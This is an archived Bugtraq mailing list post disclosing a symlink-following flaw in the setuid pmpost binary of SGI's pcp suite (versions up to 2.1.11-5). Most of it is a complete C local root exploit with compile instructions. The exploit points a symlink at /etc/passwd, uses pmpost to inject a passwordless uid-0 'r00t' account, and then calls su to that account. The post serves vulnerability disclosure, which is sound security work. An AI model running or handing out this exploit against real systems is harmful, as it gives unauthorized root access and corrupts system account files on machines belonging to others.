Home page logo
/

bugtraq logo Bugtraq mailing list archives

pmpost - another nice symlink follower
From: Paul Starzetz <paul () starzetz de>
Date: Mon, 18 Jun 2001 19:11:20 +0200

Hi,

there is a symlink handling problem in the pcp suite from SGI. The
binary pmpost will follow symlinks, if setuid root this leads to instant
root compromise, as found on SuSE 7.1 (I doubt that this a default SuSE
package, though).

Attached a simple C source to demonstrate this (gcc pm.c -o pm  then
./pm)



Ihq.



---------------------- pm.c ----------------------------

/********************************************************
*                                                       *
*               pmpost local root exploit               *
*               vulnerable: pcp <= 2.1.11-5             *
*               by IhaQueR                              *
*                                                       *
********************************************************/




#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/stat.h>



main()
{
const char *bin="/usr/share/pcp/bin/pmpost";
static char buf[512];
static char dir[128];


        srand(time(NULL));
        sprintf(dir, "/tmp/dupa.%.8d", rand());

        if(mkdir(dir, S_IRWXU))
                _exit(2);

        if(chdir(dir))
                _exit(3);

        if(symlink("/etc/passwd", "./NOTICES"))
                _exit(4);

        snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir);

        if(putenv(buf))
                _exit(5);

        if(!fork()) {
                execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL);
                _exit(1);
        }
        else {
                waitpid(0, NULL, WUNTRACED);
                chdir("..");
                sprintf(buf, "rm -rf dupa.*");
                system(buf);
                execl("/bin/su", "/bin/su", "r00t", NULL);
        }
}


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]